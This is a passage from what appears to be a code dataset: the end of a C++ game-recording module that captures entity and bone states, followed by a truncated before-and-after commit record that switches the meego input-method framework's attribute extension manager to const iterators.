isViewModel\r\n\t\t\t\t)\r\n\t\t\t{\r\n\t\t\t\tSOURCESDK::CSSV34::BaseEntityRecordingState_t * pBaseEntityRs = (SOURCESDK::CSSV34::BaseEntityRecordingState_t *)(msg->GetPtr(\"baseentity\"));\r\n\r\n\t\t\t\tif (!RecordInvisible_get() && !(pBaseEntityRs && pBaseEntityRs->m_bVisible))\r\n\t\t\t\t{\r\n\t\t\t\t\t\/\/ Entity not visible, avoid trash data:\r\n\r\n\t\t\t\t\tstd::map<SOURCESDK::CSSV34::HTOOLHANDLE, bool>::iterator it = m_TrackedHandles.find(hEntity);\r\n\t\t\t\t\tif (it != m_TrackedHandles.end() && it->second)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tMarkHidden((int)(it->first));\r\n\r\n\t\t\t\t\t\tit->second = false;\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\treturn;\r\n\t\t\t\t}\r\n\r\n\t\t\t\tbool wasVisible = false;\r\n\t\t\t\tbool hasParentTransform = false;\r\n\t\t\t\tSOURCESDK::matrix3x4_t parentTransform;\t\t\t\t\r\n\r\n\t\t\t\tWriteDictionary(\"entity_state\");\r\n\t\t\t\tWrite((int)hEntity);\r\n\t\t\t\t{\r\n\t\t\t\t\tSOURCESDK::CSSV34::BaseEntityRecordingState_t * pBaseEntityRs = (SOURCESDK::CSSV34::BaseEntityRecordingState_t *)(msg->GetPtr(\"baseentity\"));\r\n\t\t\t\t\tif (pBaseEntityRs)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tWriteDictionary(\"baseentity\");\r\n\t\t\t\t\t\t\/\/Write((float)pBaseEntityRs->m_flTime);\r\n\t\t\t\t\t\tWriteDictionary(pBaseEntityRs->m_pModelName);\r\n\t\t\t\t\t\tWrite((bool)wasVisible);\r\n\r\n\t\t\t\t\t\thasParentTransform = true;\r\n\t\t\t\t\t\tSOURCESDK::AngleMatrix(pBaseEntityRs->m_vecRenderAngles, pBaseEntityRs->m_vecRenderOrigin, parentTransform);\r\n\t\t\t\t\t\tWriteMatrix3x4(parentTransform);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\r\n\t\t\t\tm_TrackedHandles[hEntity] = wasVisible;\r\n\r\n\t\t\t\t{\r\n\t\t\t\t\tSOURCESDK::CSSV34::BaseAnimatingRecordingState_t * pBaseAnimatingRs = (SOURCESDK::CSSV34::BaseAnimatingRecordingState_t *)(msg->GetPtr(\"baseanimating\"));\r\n\t\t\t\t\tif (pBaseAnimatingRs && hasParentTransform)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tWriteDictionary(\"baseanimating\");\r\n\t\t\t\t\t\t\/\/Write((int)pBaseAnimatingRs->m_nSkin);\r\n\t\t\t\t\t\t\/\/Write((int)pBaseAnimatingRs->m_nBody);\r\n\t\t\t\t\t\t\/\/Write((int)pBaseAnimatingRs->m_nSequence);\r\n\t\t\t\t\t\tWriteBones(g_cssv34_hdr, &(g_cssv34_BoneState[0]), parentTransform);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\r\n\t\t\t\tWriteDictionary(\"\/\");\r\n\r\n\t\t\t\tbool viewModel = 0 != msg->GetInt(\"viewmodel\");\r\n\r\n\t\t\t\tWrite((bool)viewModel);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\telse if (!strcmp(\"deleted\", msgName))\r\n\t{\r\n\t\tstd::map<SOURCESDK::CSSV34::HTOOLHANDLE, bool>::iterator it = m_TrackedHandles.find(hEntity);\r\n\t\tif (it != m_TrackedHandles.end())\r\n\t\t{\r\n\t\t\tif (GetRecording())\r\n\t\t\t{\r\n\t\t\t\tWriteDictionary(\"deleted\");\r\n\t\t\t\tWrite((int)(it->first));\r\n\t\t\t}\r\n\r\n\t\t\tm_TrackedHandles.erase(it);\r\n\t\t}\r\n\t}\r\n\telse if (!strcmp(\"created\", msgName))\r\n\t{\r\n\t\tif (0 != Debug_get() && hEntity != SOURCESDK::CSGO::HTOOLHANDLE_INVALID)\r\n\t\t{\r\n\t\t\tconst char * className = m_ClientTools->GetClassname(hEntity);\r\n\t\t\tif (!className) className = \"[NULL]\";\r\n\r\n\t\t\tTier0_Msg(\"%i n\/a: %s\\n\", hEntity, className);\r\n\t\t}\r\n\r\n\t\tif (hEntity != SOURCESDK::CSGO::HTOOLHANDLE_INVALID)\/\/ && m_ClientTools->ShouldRecord(hEntity))\r\n\t\t{\r\n\t\t\tm_TrackedHandles[hEntity] = false;\r\n\t\t\tif(GetRecording()) m_ClientTools->SetRecording(hEntity, true);\r\n\t\t}\r\n\t}\r\n}\r\n\r\nvoid CClientToolsCssV34::OnBeforeFrameRenderStart(void)\r\n{\r\n\tCClientTools::OnBeforeFrameRenderStart();\r\n\r\n}\r\n\r\nvoid CClientToolsCssV34::OnAfterFrameRenderEnd(void)\r\n{\r\n\r\n\tCClientTools::OnAfterFrameRenderEnd();\r\n}\r\n\r\nvoid CClientToolsCssV34::EnableRecordingMode_set(bool value) {\r\n\tm_ClientTools->EnableRecordingMode(value);\r\n}\r\n\r\nbool CClientToolsCssV34::EnableRecordingMode_get() {\r\n\treturn m_ClientTools->IsInRecordingMode();\r\n}\r\n\r\nvoid CClientToolsCssV34::StartRecording(wchar_t const * fileName)\r\n{\r\n\tCClientTools::StartRecording(fileName);\r\n\r\n\tif (GetRecording())\r\n\t{\r\n\t\tif(!cssv34_C_BaseAnimating_RecordBones_Install())\r\n\t\t{\r\n\t\t\tTier0_Warning(\"AFX: Failed to install IClientRenderable::SetupBones hook.\\n\");\r\n\t\t}\r\n\r\n\t\tfor (std::map<SOURCESDK::CSSV34::HTOOLHANDLE, bool>::iterator it = m_TrackedHandles.begin(); it != m_TrackedHandles.end(); ++it)\r\n\t\t{\r\n\t\t\tm_ClientTools->SetRecording(it->first, true);\r\n\t\t}\r\n\t}\r\n}\r\n\r\nvoid CClientToolsCssV34::EndRecording()\r\n{\r\n\tif (GetRecording())\r\n\t{\r\n\t\tfor (std::map<SOURCESDK::CSSV34::HTOOLHANDLE, bool>::iterator it = m_TrackedHandles.begin(); it != m_TrackedHandles.end(); ++it)\r\n\t\t{\r\n\t\t\tm_ClientTools->SetRecording(it->first, false);\r\n\t\t}\r\n\t}\r\n\r\n\tCClientTools::EndRecording();\r\n}\r\n\r\nvoid CClientToolsCssV34::Write(SOURCESDK::CSSV34::CBoneList const * value)\r\n{\r\n\tWrite((int)value->m_nBones);\r\n\r\n\tfor (int i = 0; i < value->m_nBones; ++i)\r\n\t{\r\n\t\tWrite(value->m_vecPos[i]);\r\n\t\tWrite(value->m_quatRot[i]);\r\n\t}\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>\/* * This file is part of meego-im-framework *\n *\n * Copyright (C) 2010 Nokia Corporation and\/or its subsidiary(-ies).\n * All rights reserved.\n * Contact: Nokia Corporation (directui@nokia.com)\n *\n * If you have questions regarding the use of this file, please contact\n * Nokia at directui@nokia.com.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1 as published by the Free Software Foundation\n * and appearing in the file LICENSE.LGPL included in the packaging\n * of this file.\n *\/\n\n\n#include \"mattributeextensionmanager.h\"\n#include \"mattributeextension.h\"\n#include \"mtoolbardata.h\"\n#include \"mtoolbarlayout.h\"\n#include \"mkeyoverridedata.h\"\n#include \"mkeyoverride.h\"\n\n#include <QVariant>\n#include <QFileInfo>\n#include <QFile>\n#include <QDebug>\n\nnamespace {\n    const QString DefaultConfigurationPath = QString::fromLatin1(MALIIT_EXTENSIONS_DIR);\n    const char * const PreferredDomainSettingName(MALIIT_CONFIG_ROOT\"preferred_domain\");\n    const char * const DomainItemName(\"_domain\");\n    const char * const KeysExtensionString(\"\/keys\");\n    const char * const ToolbarExtensionString(\"\/toolbar\");\n\n    const char * const ToolbarIdAttribute = \"toolbarId\";\n    const char * const ToolbarAttribute = \"toolbar\";\n    const char * const FocusStateAttribute = \"focusState\";\n}\n\nMAttributeExtensionManager::MAttributeExtensionManager()\n    : copyPasteStatus(MInputMethod::InputMethodNoCopyPaste),\n      preferredDomainSetting(PreferredDomainSettingName)\n{\n    createStandardObjects();\n    connect(&preferredDomainSetting, SIGNAL(valueChanged()), this, SLOT(handlePreferredDomainUpdate()));\n}\n\nMAttributeExtensionManager::~MAttributeExtensionManager()\n{\n}\n\nQList<MAttributeExtensionId> MAttributeExtensionManager::attributeExtensionIdList() const\n{\n    return attributeExtensions.keys();\n}\n\nQSharedPointer<MAttributeExtension> MAttributeExtensionManager::attributeExtension(const MAttributeExtensionId &id) const\n{\n    AttributeExtensionContainer::iterator iterator(attributeExtensions.find(id));\n\n    if (iterator != attributeExtensions.end())\n        return iterator.value();\n    return QSharedPointer<MAttributeExtension>();\n}\n\nQSharedPointer<MToolbarData> MAttributeExtensionManager::toolbarData(const MAttributeExtensionId &id) const\n{\n    AttributeExtensionContainer::iterator iterator(attributeExtensions.find(id));\n\n    if (iterator != attributeExtensions.end())\n        return iterator.value()->toolbarData();\n    return QSharedPointer<MToolbarData>();\n}\n\nbool  MAttributeExtensionManager::contains(const MAttributeExtensionId &id) const\n{\n    return attributeExtensions.contains(id);\n}\n\nvoid MAttributeExtensionManager::setCopyPasteState(bool copyAvailable, bool pasteAvailable)\n{\n    if (!copyPaste) {\n        return;\n    }\n\n    MInputMethod::CopyPasteState newStatus = MInputMethod::InputMethodNoCopyPaste;\n    MInputMethod::ActionType actionType = MInputMethod::ActionUndefined;\n\n    if (copyAvailable) {\n        newStatus = MInputMethod::InputMethodCopy;\n    } else if (pasteAvailable) {\n        newStatus = MInputMethod::InputMethodPaste;\n    }\n\n    if (copyPasteStatus == newStatus)\n        return;\n\n    bool enabled = false;\n    QString textId(\"qtn_comm_copy\");\n\n    copyPasteStatus = newStatus;\n    switch (newStatus) {\n    case MInputMethod::InputMethodNoCopyPaste:\n        break;\n    case MInputMethod::InputMethodCopy:\n        enabled = true;\n        actionType = MInputMethod::ActionCopy;\n        break;\n    case MInputMethod::InputMethodPaste:\n        enabled = true;\n        textId = \"qtn_comm_paste\";\n        actionType = MInputMethod::ActionPaste;\n        break;\n    }\n    copyPaste->setTextId(textId);\n    copyPaste->setEnabled(enabled);\n    if (!copyPaste->actions().isEmpty()) {\n        copyPaste->actions().first()->setType(actionType);\n    }\n}\n\nvoid MAttributeExtensionManager::createStandardObjects()\n{\n    \/\/ TODO: standard buttons are not used anymore and should be removed\n    \/\/ This code assumes that StandardToolbar provides exactly two buttons: copy\/paste and close.\n    \/\/ That file is controlled by us, so we can rely on this assertion.\n    standardAttributeExtension = QSharedPointer<MAttributeExtension>(new MAttributeExtension(MAttributeExtensionId::standardAttributeExtensionId(),\n                                                                                             QString()));\n\n    if (standardAttributeExtension && standardAttributeExtension->toolbarData()) {\n        attributeExtensions.insert(MAttributeExtensionId::standardAttributeExtensionId(), standardAttributeExtension);\n\n        Q_FOREACH (QSharedPointer<MToolbarItem> item, standardAttributeExtension->toolbarData()->items()) {\n            item->setCustom(false);\n            QList<QSharedPointer<MToolbarItemAction> > actions = item->actions();\n            if (actions.isEmpty()) {\n                continue; \/\/ should never happen\n            }\n\n            switch (actions.at(0)->type()) {\n            case MInputMethod::ActionClose:\n                close = item;\n                break;\n            case MInputMethod::ActionCopyPaste:\n                copyPaste = item;\n                \/\/ set initial state\n                copyPaste->setVisible(true);\n                copyPaste->setEnabled(false);\n                copyPaste->setTextId(\"qtn_comm_copy\");\n                copyPaste->actions().first()->setType(MInputMethod::ActionUndefined);\n                break;\n            default:\n                break;\n            }\n        }\n    }\n}\n\nvoid MAttributeExtensionManager::addStandardButtons(const QSharedPointer<MToolbarData> &toolbarData)\n{\n    if (!toolbarData || !standardAttributeExtension || !standardAttributeExtension->toolbarData()) {\n        return;\n    }\n\n    QSharedPointer<MToolbarLayout> landscape = toolbarData->layout(MInputMethod::Landscape).constCast<MToolbarLayout>();\n    QSharedPointer<MToolbarLayout> portrait = toolbarData->layout(MInputMethod::Portrait).constCast<MToolbarLayout>();\n\n    if (landscape) {\n        addStandardButtons(landscape, toolbarData);\n    }\n\n    if (portrait && portrait != landscape) {\n        addStandardButtons(portrait, toolbarData);\n    }\n}\n\nvoid MAttributeExtensionManager::addStandardButtons(const QSharedPointer<MToolbarLayout> &layout,\n                                         const QSharedPointer<MToolbarData> &toolbarData)\n{\n    Q_FOREACH (const QSharedPointer<MToolbarItem> &item, standardAttributeExtension->toolbarData()->items()) {\n        if (!toolbarData->refusedNames().contains(item->name())) {\n            toolbarData->append(layout, item);\n        }\n    }\n}\n\nvoid MAttributeExtensionManager::handlePreferredDomainUpdate()\n{\n    Q_FOREACH (QSharedPointer<MAttributeExtension> attributeExtension, attributeExtensions.values()) {\n        QSharedPointer<MToolbarData> toolbar = attributeExtension->toolbarData();\n        updateDomain(toolbar);\n    }\n}\n\nvoid MAttributeExtensionManager::updateDomain(QSharedPointer<MToolbarData> &toolbar)\n{\n    const QString domain(preferredDomainSetting.value().toString());\n    if (domain.isEmpty()) {\n        return;\n    }\n\n    QSharedPointer<MToolbarItem> item(toolbar->item(DomainItemName));\n    if (!item) {\n        return;\n    }\n\n    QList<QSharedPointer<MToolbarItemAction> > actions(item->actions());\n    if (actions.length() != 1 || actions[0]->type() != MInputMethod::ActionSendString) {\n        return;\n    }\n\n    actions[0]->setText(domain);\n    item->setText(domain);\n}\n\nvoid MAttributeExtensionManager::registerAttributeExtension(const MAttributeExtensionId &id, const QString &fileName)\n{\n    if (!id.isValid() || attributeExtensions.contains(id))\n        return;\n\n    \/\/ Only register default extension in the case of empty string.\n    \/\/ Don't register extension if user makes a typo in the file name.\n    if (!fileName.isEmpty()) {\n        QString absoluteFileName = fileName;\n        QFileInfo info(absoluteFileName);\n        if (info.isRelative())\n            absoluteFileName = DefaultConfigurationPath + info.fileName();\n        if (!QFile::exists(absoluteFileName))\n            return;\n    }\n\n    QSharedPointer<MAttributeExtension> attributeExtension(new MAttributeExtension(id, fileName));\n    if (attributeExtension) {\n        addStandardButtons(attributeExtension->toolbarData());\n        QSharedPointer<MToolbarData> toolbar = attributeExtension->toolbarData();\n        updateDomain(toolbar);\n        attributeExtensions.insert(id, attributeExtension);\n    }\n}\n\nvoid MAttributeExtensionManager::unregisterAttributeExtension(const MAttributeExtensionId &id)\n{\n    if (!attributeExtensions.contains(id))\n        return;\n\n    attributeExtensions.remove(id);\n}\n\nvoid MAttributeExtensionManager::setToolbarItemAttribute(const MAttributeExtensionId &id,\n                                              const QString &itemName,\n                                              const QString &attribute,\n                                              const QVariant &value)\n{\n    setExtendedAttribute(id, ToolbarExtensionString, itemName,\n                         attribute, value);\n}\n\nQMap<QString, QSharedPointer<MKeyOverride> > MAttributeExtensionManager::keyOverrides(\n        const MAttributeExtensionId &id) const\n{\n    QList<QSharedPointer<MKeyOverride> > overrides;\n    QSharedPointer<MAttributeExtension> extension = attributeExtension(id);\n    if (extension) {\n        overrides = extension->keyOverrideData()->keyOverrides();\n    }\n    QMap<QString, QSharedPointer<MKeyOverride> > overridesMap;\n    Q_FOREACH (const QSharedPointer<MKeyOverride> &override, overrides) {\n        overridesMap.insert(override->keyId(), override);\n    }\n    return overridesMap;\n}\n\nvoid MAttributeExtensionManager::setExtendedAttribute(const MAttributeExtensionId &id,\n                                                      const QString &target,\n                                                      const QString &targetItem,\n                                                      const QString &attribute,\n                                                      const QVariant &value)\n{\n    if (!id.isValid() || attribute.isEmpty() || targetItem.isEmpty() || !value.isValid())\n        return;\n\n    QSharedPointer<MAttributeExtension> extension = attributeExtension(id);\n\n    if (!extension) {\n        return;\n    }\n\n    if (target == KeysExtensionString) {\n        \/\/ create key override if not exist.\n        bool newKeyOverrideCreated = extension->keyOverrideData()->createKeyOverride(targetItem);\n        QSharedPointer<MKeyOverride> keyOverride = extension->keyOverrideData()->keyOverride(targetItem);\n\n        Q_ASSERT(keyOverride);\n        const QByteArray byteArray = attribute.toLatin1();\n        const char * const c_str = byteArray.data();\n\n        \/\/ Ignore l10n lengthvariants in QStrings for labels, always pick longest variant (first)\n        if (attribute == \"label\") {\n            QString label = value.toString();\n            label = label.split(QChar(0x9c)).first();\n            const QVariant newValue(label);\n            keyOverride->setProperty(c_str, newValue);\n        } else {\n            keyOverride->setProperty(c_str, value);\n        }\n\n        \/\/ Q_EMIT signal to notify the new key override is created.\n        if (newKeyOverrideCreated) {\n            Q_EMIT keyOverrideCreated();\n        }\n    } else if (target == ToolbarExtensionString) {\n        QSharedPointer<MToolbarData> toolbar = extension->toolbarData();\n        if (!toolbar) {\n            qWarning() << \"Can not find toolbar data!\";\n            return;\n        }\n        QSharedPointer<MToolbarItem> item = toolbar->item(targetItem);\n        if (!item) {\n            return;\n        }\n        const QByteArray byteArray = attribute.toLatin1();\n        const char * const c_str = byteArray.data();\n        item->setProperty(c_str, value);\n    } else {\n        qWarning() << \"Invalid or incompatible attribute extension target:\" << target;\n    }\n}\n\n\nvoid MAttributeExtensionManager::handleClientDisconnect(unsigned int clientId)\n{\n    \/\/ unregister toolbars registered by the lost connection\n    const QString service(QString::number(clientId));\n    QSet<MAttributeExtensionId>::iterator i(attributeExtensionIds.begin());\n    while (i != attributeExtensionIds.end()) {\n        if ((*i).service() == service) {\n            unregisterAttributeExtension(*i);\n            i = attributeExtensionIds.erase(i);\n        } else {\n            ++i;\n        }\n    }\n}\n\nvoid MAttributeExtensionManager::handleExtendedAttributeUpdate(unsigned int clientId, int id,\n                                   const QString &target, const QString &targetName,\n                                   const QString &attribute, const QVariant &value)\n{\n    MAttributeExtensionId globalId(id, QString::number(clientId));\n    if (globalId.isValid() && attributeExtensionIds.contains(globalId)) {\n        setExtendedAttribute(globalId, target, targetName, attribute, value);\n    }\n}\n\nvoid MAttributeExtensionManager::handleAttributeExtensionRegistered(unsigned int clientId,\n                                                                  int id, const QString &attributeExtension)\n{\n    MAttributeExtensionId globalId(id, QString::number(clientId));\n    if (globalId.isValid() && !attributeExtensionIds.contains(globalId)) {\n        registerAttributeExtension(globalId, attributeExtension);\n        attributeExtensionIds.insert(globalId);\n    }\n}\n\nvoid MAttributeExtensionManager::handleAttributeExtensionUnregistered(unsigned int clientId, int id)\n{\n    MAttributeExtensionId globalId(id, QString::number(clientId));\n    if (globalId.isValid() && attributeExtensionIds.contains(globalId)) {\n        unregisterAttributeExtension(globalId);\n        attributeExtensionIds.remove(globalId);\n    }\n}\n\nvoid MAttributeExtensionManager::handleWidgetStateChanged(unsigned int clientId,\n                                                          const QMap<QString, QVariant> &newState,\n                                                          const QMap<QString, QVariant> &oldState,\n                                                          bool focusChanged)\n\n{\n    Q_UNUSED(oldState);\n    \/\/ toolbar change\n    MAttributeExtensionId oldAttributeExtensionId;\n    MAttributeExtensionId newAttributeExtensionId;\n    oldAttributeExtensionId = attributeExtensionId;\n\n    QVariant variant = newState[ToolbarIdAttribute];\n    if (variant.isValid()) {\n        \/\/ map toolbar id from local to global\n        newAttributeExtensionId = MAttributeExtensionId(variant.toInt(), QString::number(clientId));\n    }\n    if (!newAttributeExtensionId.isValid()) {\n        newAttributeExtensionId = MAttributeExtensionId::standardAttributeExtensionId();\n    }\n\n    variant = newState[FocusStateAttribute];\n    if (not variant.isValid()) {\n        qCritical() << __PRETTY_FUNCTION__ << \"Invalid focus state\";\n    }\n    bool widgetFocusState = variant.toBool();\n\n    \/\/ compare the toolbar id (global)\n    if (oldAttributeExtensionId != newAttributeExtensionId) {\n        QString toolbarFile = newState[ToolbarAttribute].toString();\n        if (!contains(newAttributeExtensionId) && !toolbarFile.isEmpty()) {\n            \/\/ register toolbar if toolbar manager does not contain it but\n            \/\/ toolbar file is not empty. This can reload the toolbar data\n            \/\/ if im-uiserver crashes.\n            \/\/ XXX: should not happen, the input context is reponsible for registering\n            \/\/ and resending the toolbar information on server reconnect\n            qWarning() << \"Unregistered toolbar found in widget information\";\n\n            variant = newState[ToolbarIdAttribute];\n            if (variant.isValid()) {\n                const int toolbarLocalId = variant.toInt();\n                \/\/ FIXME: brittle to call the signal handler directly like this\n                handleAttributeExtensionRegistered(clientId, toolbarLocalId, toolbarFile);\n            }\n        }\n        Q_EMIT attributeExtensionIdChanged(newAttributeExtensionId);\n        \/\/ store the new used toolbar id(global).\n        attributeExtensionId = newAttributeExtensionId;\n    }\n    \/\/ this happens when we focus on a text widget with no attribute extensions.\n    else if (focusChanged && widgetFocusState)\n    {\n        Q_EMIT attributeExtensionIdChanged(newAttributeExtensionId);\n    }\n}\n<commit_msg>Use ::const_iterator when required<commit_after>\/* * This file is part of meego-im-framework *\n *\n * Copyright (C) 2010 Nokia Corporation and\/or its subsidiary(-ies).\n * All rights reserved.\n * Contact: Nokia Corporation (directui@nokia.com)\n *\n * If you have questions regarding the use of this file, please contact\n * Nokia at directui@nokia.com.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1 as published by the Free Software Foundation\n * and appearing in the file LICENSE.LGPL included in the packaging\n * of this file.\n *\/\n\n\n#include \"mattributeextensionmanager.h\"\n#include \"mattributeextension.h\"\n#include \"mtoolbardata.h\"\n#include \"mtoolbarlayout.h\"\n#include \"mkeyoverridedata.h\"\n#include \"mkeyoverride.h\"\n\n#include <QVariant>\n#include <QFileInfo>\n#include <QFile>\n#include <QDebug>\n\nnamespace {\n    const QString DefaultConfigurationPath = QString::fromLatin1(MALIIT_EXTENSIONS_DIR);\n    const char * const PreferredDomainSettingName(MALIIT_CONFIG_ROOT\"preferred_domain\");\n    const char * const DomainItemName(\"_domain\");\n    const char * const KeysExtensionString(\"\/keys\");\n    const char * const ToolbarExtensionString(\"\/toolbar\");\n\n    const char * const ToolbarIdAttribute = \"toolbarId\";\n    const char * const ToolbarAttribute = \"toolbar\";\n    const char * const FocusStateAttribute = \"focusState\";\n}\n\nMAttributeExtensionManager::MAttributeExtensionManager()\n    : copyPasteStatus(MInputMethod::InputMethodNoCopyPaste),\n      preferredDomainSetting(PreferredDomainSettingName)\n{\n    createStandardObjects();\n    connect(&preferredDomainSetting, SIGNAL(valueChanged()), this, SLOT(handlePreferredDomainUpdate()));\n}\n\nMAttributeExtensionManager::~MAttributeExtensionManager()\n{\n}\n\nQList<MAttributeExtensionId> MAttributeExtensionManager::attributeExtensionIdList() const\n{\n    return attributeExtensions.keys();\n}\n\nQSharedPointer<MAttributeExtension> MAttributeExtensionManager::attributeExtension(const MAttributeExtensionId &id) const\n{\n    AttributeExtensionContainer::const_iterator iterator(attributeExtensions.find(id));\n\n    if (iterator != attributeExtensions.end())\n        return iterator.value();\n    return QSharedPointer<MAttributeExtension>();\n}\n\nQSharedPointer<MToolbarData> MAttributeExtensionManager::toolbarData(const MAttributeExtensionId &id) const\n{\n    AttributeExtensionContainer::const_iterator iterator(attributeExtensions.find(id));\n\n    if (iterator != attributeExtensions.end())\n        return iterator.value()->toolbarData();\n    return QSharedPointer<MToolbarData>();\n}\n\nbool  MAttributeExtensionManager::contains(const MAttributeExtensionId &id) const\n{\n    return attributeExtensions.contains(id);\n}\n\nvoid MAttributeExtensionManager::setCopyPasteState(bool copyAvailable, bool pasteAvailable)\n{\n    if (!copyPaste) {\n        return;\n    }\n\n    MInputMethod::CopyPasteState newStatus = MInputMethod::InputMethodNoCopyPaste;\n    MInputMethod::ActionType actionType = MInputMethod::ActionUndefined;\n\n    if (copyAvailable) {\n        newStatus = MInputMethod::InputMethodCopy;\n    } else if (pasteAvailable) {\n        newStatus = MInputMethod::InputMethodPaste;\n    }\n\n    if (copyPasteStatus == newStatus)\n        return;\n\n    bool enabled = false;\n    QString textId(\"qtn_comm_copy\");\n\n    copyPasteStatus = newStatus;\n    switch (newStatus) {\n    case MInputMethod::InputMethodNoCopyPaste:\n        break;\n    case MInputMethod::InputMethodCopy:\n        enabled = true;\n        actionType = MInputMethod::ActionCopy;\n        break;\n    case MInputMethod::InputMethodPaste:\n        enabled = true;\n        textId = \"qtn_comm_paste\";\n        actionType = MInputMethod::ActionPaste;\n        break;\n    }\n    copyPaste->setTextId(textId);\n    copyPaste->setEnabled(enabled);\n    if (!copyPaste->actions().isEmpty()) {\n        copyPaste->actions().first()->setType(actionType);\n    }\n}\n\nvoid MAttributeExtensionManager::createStandardObjects()\n{\n    \/\/ TODO: standard buttons are not used anymore and should be removed\n    \/\/ This code assumes that StandardToolbar provides exactly two buttons: copy\/paste and close.\n    \/\/ That file is controlled by us, so we can rely on this assertion.\n    standardAttributeExtension = QSharedPointer<MAttributeExtension>(new MAttributeExtension(MAttributeExtensionId::standardAttributeExtensionId(),\n                                                                                             QString()));\n\n    if (standardAttributeExtension && standardAttributeExtension->toolbarData()) {\n        attributeExtensions.insert(MAttributeExtensionId::standardAttributeExtensionId(), standardAttributeExtension);\n\n        Q_FOREACH (QSharedPointer<MToolbarItem> item, standardAttributeExtension->toolbarData()->items()) {\n            item->setCustom(false);\n            QList<QSharedPointer<MToolbarItemAction> > actions = item->actions();\n            if (actions.isEmpty()) {\n                continue; \/\/ should never happen\n            }\n\n            switch (actions.at(0)->type()) {\n            case MInputMethod::ActionClose:\n                close = item;\n                break;\n            case MInputMethod::ActionCopyPaste:\n                copyPaste = item;\n                \/\/ set initial state\n                copyPaste->setVisible(true);\n                copyPaste->setEnabled(false);\n                copyPaste->setTextId(\"qtn_comm_copy\");\n                copyPaste->actions().first()->setType(MInputMethod::ActionUndefined);\n                break;\n            default:\n                break;\n            }\n        }\n    }\n}\n\nvoid MAttributeExtensionManager::addStandardButtons(const QSharedPointer<MToolbarData> &toolbarData)\n{\n    if (!toolbarData || !standardAttributeExtension || !standardAttributeExtension->toolbarData()) {\n        return;\n    }\n\n    QSharedPointer<MToolbarLayout> landscape = toolbarData->layout(MInputMethod::Landscape).constCast<MToolbarLayout>();\n    QSharedPointer<MToolbarLayout> portrait = toolbarData->layout(MInputMethod::Portrait).constCast<MToolbarLayout>();\n\n    if (landscape) {\n        addStandardButtons(landscape, toolbarData);\n    }\n\n    if (portrait && portrait != landscape) {\n        addStandardButtons(portrait, toolbarData);\n    }\n}\n\nvoid MAttributeExtensionManager::addStandardButtons(const QSharedPointer<MToolbarLayout> &layout,\n                                         const QSharedPointer<MToolbarData> &toolbarData)\n{\n    Q_FOREACH (const QSharedPointer<MToolbarItem> &item, standardAttributeExtension->toolbarData()->items()) {\n        if (!toolbarData->refusedNames().contains(item->name())) {\n            toolbarData->append(layout, item);\n        }\n    }\n}\n\nvoid MAttributeExtensionManager::handlePreferredDomainUpdate()\n{\n    Q_FOREACH (QSharedPointer<MAttributeExtension> attributeExtension, attributeExtensions.values()) {\n        QSharedPointer<MToolbarData> toolbar = attributeExtension->toolbarData();\n        updateDomain(toolbar);\n    }\n}\n\nvoid MAttributeExtensionManager::updateDomain(QSharedPointer<MToolbarData> &toolbar)\n{\n    const QString domain(preferredDomainSetting.value().toString());\n    if (domain.isEmpty()) {\n        return;\n    }\n\n    QSharedPointer<MToolbarItem> item(toolbar->item(DomainItemName));\n    if (!item) {\n        return;\n    }\n\n    QList<QSharedPointer<MToolbarItemAction> > actions(item->actions());\n    if (actions.length() != 1 || actions[0]->type() != MInputMethod::ActionSendString) {\n        return;\n    }\n\n    actions[0]->setText(domain);\n    item->setText(domain);\n}\n\nvoid MAttributeExtensionManager::registerAttributeExtension(const MAttributeExtensionId &id, const QString &fileName)\n{\n    if (!id.isValid() || attributeExtensions.contains(id))\n        return;\n\n    \/\/ Only register default extension in the case of empty string.\n    \/\/ Don't register extension if user makes a typo in the file name.\n    if (!fileName.isEmpty()) {\n        QString absoluteFileName = fileName;\n        QFileInfo info(absoluteFileName);\n        if (info.isRelative())\n            absoluteFileName = DefaultConfigurationPath + info.fileName();\n        if (!QFile::exists(absoluteFileName))\n            return;\n    }\n\n    QSharedPointer<MAttributeExtension> attributeExtension(new MAttributeExtension(id, fileName));\n    if (attributeExtension) {\n        addStandardButtons(attributeExtension->toolbarData());\n        QSharedPointer<MToolbarData> toolbar = attributeExtension->toolbarData();\n        updateDomain(toolbar);\n        attributeExtensions.insert(id, attributeExtension);\n    }\n}\n\nvoid MAttributeExtensionManager::unregisterAttributeExtension(const MAttributeExtensionId &id)\n{\n    if (!attributeExtensions.contains(id))\n        return;\n\n    attributeExtensions.remove(id);\n}\n\nvoid MAttributeExtensionManager::setToolbarItemAttribute(const MAttributeExtensionId &id,\n                                              const QString &itemName,\n                                              const QString &attribute,\n                                              const QVariant &value)\n{\n    setExtendedAttribute(id, ToolbarExtensionString, itemName,\n                         attribute, value);\n}\n\nQMap<QString, QSharedPointer<MKeyOverride> > MAttributeExtensionManager::keyOverrides(\n        const MAttributeExtensionId &id) const\n{\n    QList<QSharedPointer<MKeyOverride> > overrides;\n    QSharedPointer<MAttributeExtension> extension = attributeExtension(id);\n    if (extension) {\n        overrides = extension->keyOverrideData()->keyOverrides();\n    }\n    QMap<QString, QSharedPointer<MKeyOverride> > overridesMap;\n    Q_FOREACH (const QSharedPointer<MKeyOverride> &override, overrides) {\n        overridesMap.insert(override->keyId(), override);\n    }\n    return overridesMap;\n}\n\nvoid MAttributeExtensionManager::setExtendedAttribute(const MAttributeExtensionId &id,\n                                                      const QString &target,\n                                                      const QString &targetItem,\n                                                      const QString &attribute,\n                                                      const QVariant &value)\n{\n    if (!id.isValid() || attribute.isEmpty() || targetItem.isEmpty() || !value.isValid())\n        return;\n\n    QSharedPointer<MAttributeExtension> extension = attributeExtension(id);\n\n    if (!extension) {\n        return;\n    }\n\n    if (target == KeysExtensionString) {\n        \/\/ create key override if not exist.\n        bool newKeyOverrideCreated = extension->keyOverrideData()->createKeyOverride(targetItem);\n        QSharedPointer<MKeyOverride> keyOverride = extension->keyOverrideData()->keyOverride(targetItem);\n\n        Q_ASSERT(keyOverride);\n        const QByteArray 